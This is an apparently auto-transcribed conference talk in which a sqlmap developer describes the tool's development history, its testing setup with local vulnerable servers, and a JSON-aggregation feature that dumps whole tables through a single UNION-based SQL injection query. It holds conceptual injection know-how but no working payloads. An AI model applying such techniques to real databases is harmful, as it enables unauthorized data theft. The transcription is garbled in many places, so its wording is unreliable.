Nov 7, Miroslav presents sqlmap - "One Tiny Step At a Time" at Bsides Chile 2020

[Music] a

so this is this is something i like to start my day with so i open uh i open one my textual editors and just and just uh write stuff that i i would like to do that day so nothing i would say pretentious so nothing too complicated really some small stuff that i would like to finish for for that day and here i put everyday stuff that are not so technical private stuff and the technical so for example for the sql map to go through all issues make one commit for the maltrail merge pull requests or do some collection of the iocs also i do stuff here i would say right stuff for the everyday work

so as i'm also the i would say eager ctf so i like to to place those capture the flags this is also one of my i would say ways how to capture those flags so each day i write stuff that i would like to capture for that day so for the sequel map short project introduction so it's i would say all in one tool for detection and exploitation on the sql injection flows it's written python 2 and for last year and a half python 3 is also uh being introduced i would say the the integration with the python 3 is over also one important thing is that it's the project itself is 14 years old and in 14 years

if you do i said one tiny step at a time or i would say also you can say baby step at a time after 14 years you have a full-grown child and there are two authors who i would say core developers bernardo da melen and myself so two people are responsive uh responsible for the sequel map one i would say nice note is that we are really uh i would say accurate in terms of the finding flaws and we are really uh trying our best to to to have as as a smaller number of false positives as possible so if you catch something with the sickle map most probably you will have the sequential and something that is

actually being usable so then some numbers so currently we support 32 different database management systems my sequel mixer sequel server uh pause grace oracle and so on so i would say quite a hefty bunch six supporters seek injection techniques you most probably heard of of stuff like bullying based blind air base blind union base blind stacked in inband and stuff like that this is one of i'd say astounding numbers currently we have more than four thousand user reported issues which are closed in last eight years and that's i would say quite amazing number so sikh map is constantly being developed and and i would say supported by us so there are lots and lots and lots of

or i would say user interaction going on and lots of i would say q and a's and stuff as that lots of commits so more than 9 000 commits more than 72 000 likes of codes and down there you can see some statistics for the for the our official main page and the github page so we have roughly around 10 000 unique web visitors on those two pages so that's i would say quite large numbers so it's something that is really not say uh boosting our morale so users like our tools and like our job so they tend to to come to come to back to us and to see what's going on also there are new users

and there is one funny thing that's i really thought that [Music] that sql injection will die like five six years ago but it's it seems that it won't die so easily so that that's the i would say one of good things in the sql map itself so it is two that in 14 years of of developments we really uh uh ended as the i would say best sequel injection tooling in the world it's it's not so i would say uh hard to be the best if you have 14 years of development or something or say if you if you do 14 years of tiny steps into a single project we have a wide industry uh recognition

so in lots of those surveys and the lots of those uh distributions we are considered as one of tom security tools we are also introduced into official non-offensive distributions so you can see here a number of 54 distributions that officially have this equal map as part of i would say all other benign tools so i would say sql map has become an industry strand standard for for for the single ejection stuff even for the offensive and for the defensive side here you can see the the numbers of of the uh unique cloners in one i would say those are two weeks of of time so we have more than ten thousand unique cloners so those numbers are quite i would say

catchy because here we know that we are responsible for something that is really really i would say important for for the y community so stopping the development of this would be i would say detrimental for for the whole for the whole i would say infosec community so it's something that we like to do because you can see that it's quite popular now how does it look to do the those tiny steps or i would like to say baby steps in the development here you can see that there is a continuous commitment into the into the uh repository itself so there is no stop here and there we have some i would say flashes of of uh

some brilliant ideas but at the end it's really important to not stop the the development so i would say in last couple years sikh map has become uh really stable as a as a tool but that there is a never-ending development of the stuff that you as the end user won't see or i would say won't notice once running the tool but it's something that that really helps the users to to cope with the sql injection vulnerabilities if there is a one to be used so this is also one nice uh let's say graph of the commits this for last maybe two months so there is continuous development i would say lots of fixes implementations

lots of patching lots of user support so as said the end users won't notice this but now i'm showing you that there are always some baby steps going on in the development of project like this also uh here you can see those i'd say we could say major milestones so each year we try to put the major milestone uh pointing that the second number is showing the the number of that major milestone so current major milestone was the 1.5 so that was the master put on the january 1st of so i would say 1.4 of us for the this year so it was made on the january 1st of this year and 1.5 will be the d1 in the 2021

so each of those major milestones have certain number of closed issues so there are lots of of said uh user suggested enhancements or the bug fixes going on also along those major milestones we have the mirror milestones so those miner milestones are all made on the start of the month so each start of the month we had those minor releases so current winner released the 1.4 point 11 that's that's this ending marker is for the for the november or let's say the cartoon number of the month itself [Music] also in terms of introduction introducing new stuff into this equal map we have i would say periodic announcements on the twitter whether we did some major i would say cool and new

stuff so as you can see there lately we did some introduction of the support for i would say non non uh not so popular database management systems but something that's here and there you will come if you are doing stuff like bulk bounty or doing some obscure system penetration tests now i'd like to uh to show you some tools that are really helping in those uh gradual uh gradual implementation so i'd say those baby steps so to do those baby steps we we have i would say strong back and support in terms of the functionality to to really test that everything is fine once introduced into the into the repository as you've seen there are lots of of

users that use the sql map so it's really i would say problematic if we introduce something into the repository and which breaks the installation for tens of thousands of users so here i'll i'll show you some i would say back-end testing or back-end tools that are really doing an awesome job on preventing those kind of i'd say unnecessary problems so one of those tools or say mechanisms is the continuous integration being done with the travis ci so there we have the development environment i would say testing environment on all i would say those uh um python versions so python 2 and python 3 and the python 3.9 which has lots of of changes compared to the

to the previous python 3 versions so once the commit is being pushed to the repository immediately there is a spawned testing environment on the travis ci which is doing the the background checks to see whether something is broken or not and in case of being broken we are immediately being being uh being backed via the email how does it look like in science in the test environment so there is something called smoke testing and the room oh i would say vulnerability server testing going on so for for that build tests to to pass those two i would say uh battery tests have to to pass so to show you what's going on in those tests so smoke testing

there are lots of those so-called dock tests inside the source code so for each i would say for majority of functions that are small there are small some small tests for each function which you put the input value and you put the you put the the expected value down below so if those two values are not i would say or if the expected value is not the same inside that testing environment the whole battery of tests just fails uh here you can see some numbers so one once those smoke tests are being run this is the example for being run on my uh local i would say or my laptop environment so those numbers are like that 318

python files and in each file there is i would say approximately like 10 20 dog tests so we can say that there are a couple of thousands of those small documentation tests being implemented and each of those tests have to be i would say passed once even a slight commit is being pushed to to the repository along the smoke testing we have the the the wrong testing call outside vulnerability server testing so vulnerability server testing is we are actually making a a deliberately vulnerable uh server locally and we are running sql map against that locally spawned vulnerable server so inside of that server we have some tables we have some functionalities we have some vulnerabilities

and you can see here there are lots of those vulnerabilities tests so against the vulnerability server lots of sql map runs are being done with different switches where those you can see the yellow underlined switches are being used and you can see the reds underlined expected uh texture content that has to be inside the output itself for that uh single test to to pass now over i would say i believe there are 50 60 different vulnerability tests so this is really something that is i would say strong because as said each commits triggers uh those battery or tests so you can imagine that for for sequel map to two i would say to pass all those tests it really has to

be i would say in great shape so nothing i would say but there's a really uh minor chances for error to to go through all of this tests how does it look like when being run on the my local laptop environment so all those tests against the local spawned vulnerable server all those tests have to be to pass for that phone test to pass now other tool that i wanted to show you which also is uh really helpful in doing those tiny steps so to do the uh continuous integration continuous development you have to have the solids i would say battery or vulnerable servers so we created uh one virtual machine locally with lots and

lots and lots and lots of database management systems and for each of those database management systems we we created a vulnerable page and the and fill the database with some data and this is something that is really useful because if you don't have something like this and you are doing the uh the tool for the sql injection you won't be able to i would say neither to implement new stuff or you won't be able to properly triage the issues of the users so if user for example says okay i have problems with the percona database management system and if you don't have the all the available server with that database management system with the vulnerable page you won't be able to do

anything so testbets is something that is really helping us in continuous development because we don't have problems now with the i would say with the uh with the source of the vulnerable pages so we don't have to do any kind of illegal stuff nor finding any any uh third party uh vulnerable pages we have everything locally so we are i would say good guys doing development on our local machines so we don't break law we just do tests uh locally how does it look like when everything is spawned so each of those database management systems have each uh have a separate docker so each docker is representing one database management system along with the vulnerable page so

if you turn on all those dbms's in the same time it is possible to do it and you can see here those are not all but i would say majority uh you have to have lots of ram lots of memory it will be kind of sluggish but when we do tests we just spawn a single uh uh docker with the database management system that we need later on we just shut it down and next time we we start what what we need how does it look like from the when you look when you're looking from the from the browser itself so you just browse to to the testbed and you're being immediately shown with all the

the database management systems that are being uh that were implemented into the test bed you just click on one of those and you will immediately get the data page which which is outside the vulnerable page which is uh usable by the sequel map so in this case you have the mimer sql and you have the dot that famous single quotes you have the syntax error so most probably there is uh some kind of sql injection possible and if you just quality if we just take this url and put it into our sql map we are immediately be or i would say are able to do stuff on demand sequel [Music] the third tool i wanted to show which is

really helpful is the something called sql map reporter so if you are a regular user of the sql map most probably you you have found this kind of i would say listing inside the sql map run so here and there if there is a some major issue inside the sql map you'll be presented with this kind of anonymized stock trays which you can send us as an anonymous user to the official github repository and this is everything we need to to to have for us to reproduce the issue so this is something that is voluntary being sent by the users and this is really really really helpful i would say this most helpful uh thing for for finding uh

bugs inside the sql map so if users are really running with some obscure switches against some obscure database management systems and so they have outside wide coverage of the uh lots of functionalities of the sql map if there is some problem they'll be presented with this kind of a has an exception message which is anonymized so there are no i would say things that can compromise the user they are being told whether they want to share the data with us or not this is something that that is i would say helping a lot in continuous development let's say or continuous stabilization with command how does it look like inside the this uh the github repository so

this kind of a handler message is being pushed to the to the sigma propository so we have the uh identical copy of that a handler message with the entity called sqmap reporter which says okay the some user has problems uh you should take care of it also there is one nice thingy called the unique idea of the highly message so this is the digest of some control points inside the side a handle message so this is something that we use i would say that is helpful uh to prevent the spamming of the new uh new issues so if you're running some older version of this eco map and that same issue is already fixed inside a sequel map

sql map reporter will will check whether that issue is was was all the reporter or closed inside the uh repository and if yeah if it is this the user will be noticed that he is running some older version and he has to to update to the lightest version to have it fixed you can see here the heat map of the contributions of that i would say meta user called sequ map reporter you can see that there is a continuous uh user contributions or say automated uses contributions contributions during the year uh funny thing is that as said there is a slight chance i would say a really really small chance for something to break the the repository itself after

all those rigorous tests but at the end there is a possibility funny thing is that uh latest issue that caused some problems in the users and it was being wasn't handled by those small tests and evolve tests was immediately being uh for like in five or ten minutes after it was being pushed to the repository it was immediately been reported by the sikh map reporter but some i would say eager user that pulled the latest version and and run the sql map against some uh vulnerable target how does it look like its the gmail so once uh being pushed here to the repository we are immediately being noticed by the email okay there is some handling

exception being triggered by sigma reporter we get this kind of critical label uh that critical label is something as you can uh imagine something critical so i really like to to to deal with those kind of issues immediately because as you've seen there are lots of users using sql map so once i see this kind of handler message i immediately tried to solve it and now to show you that latest tiny step that's that is being done inside or i would say introduced into the sql map so something called json aggregation so that's same functionality something that as the end user most probably won't notice it you just run sql map and do the the table dumps but uh

most probably you will notice that in some cases you have instant access to the database content and what is it about so it is about putting the whole query results into a single json array so thing is that there is a nice feature inside the latest database management system versions called js aggregation you just put the one slide statement inside some function which is being used for the js congregation and it's what it does it creates a json serialized [Music] object out of those results and cool thing is that inside the sql injection or say side sql map you can have a one query pair one table dump so you just put everything inside the one

json array and you immediately pull it inside the subsequent response so as said here you are effectively reducing double dumps to the single quantity query if supported by the target as said though that functionality is being introduced into the database management systems for last i would say two three years so you have older uh target you won't most probably won't be able to use it but if you have a new target you will well say sqlamp will immediately try to use it only prerequisite is that union query sql injection has to be usable by the uh target itself thing is that if you try to do the json aggregation inside the slower sql injection techniques like the boolean

based blind that each bit of result is being pulled one bit at a time you won't get any i would say speed ups but if you have a fast sql injection technique like the union query where everything can be pulled inside the res response page itself uh the json aggregation is really uh powerful to to to utilize and how does it look like inside the one testing uh i would say inside the testing environment so here you can see the union query inside the uh side location with that usage of that json aggregation function and the thing is that this this here is just the serialized json aggregation of that whole table being i would say injected into a single

cell of the resulting table and for example uh if you have a single row pair results and if that sql rope a result can be used for the union sql injection sql map will try to use any of those cells inside the the resulting table to eject uh the json aggregation of the whole table dumps once you run this equipment how does it look like once uh being run or let's say used by the sql map so here you can see the uh mysql version of that jc aggregation function called json rag so here inside the third uh third column of the resulting cell we are trying to aggregate the the columns of the table

test users and everything is being done inside with the one query so that's one hd repair http request you can see here inside the time span of seven milliseconds so you are really pulling everything you can in is in s list time as possible and here you can see the dc the serialized version of that whole table now so this is a serialized version and this is being processed by the sick map to show you this kind of table up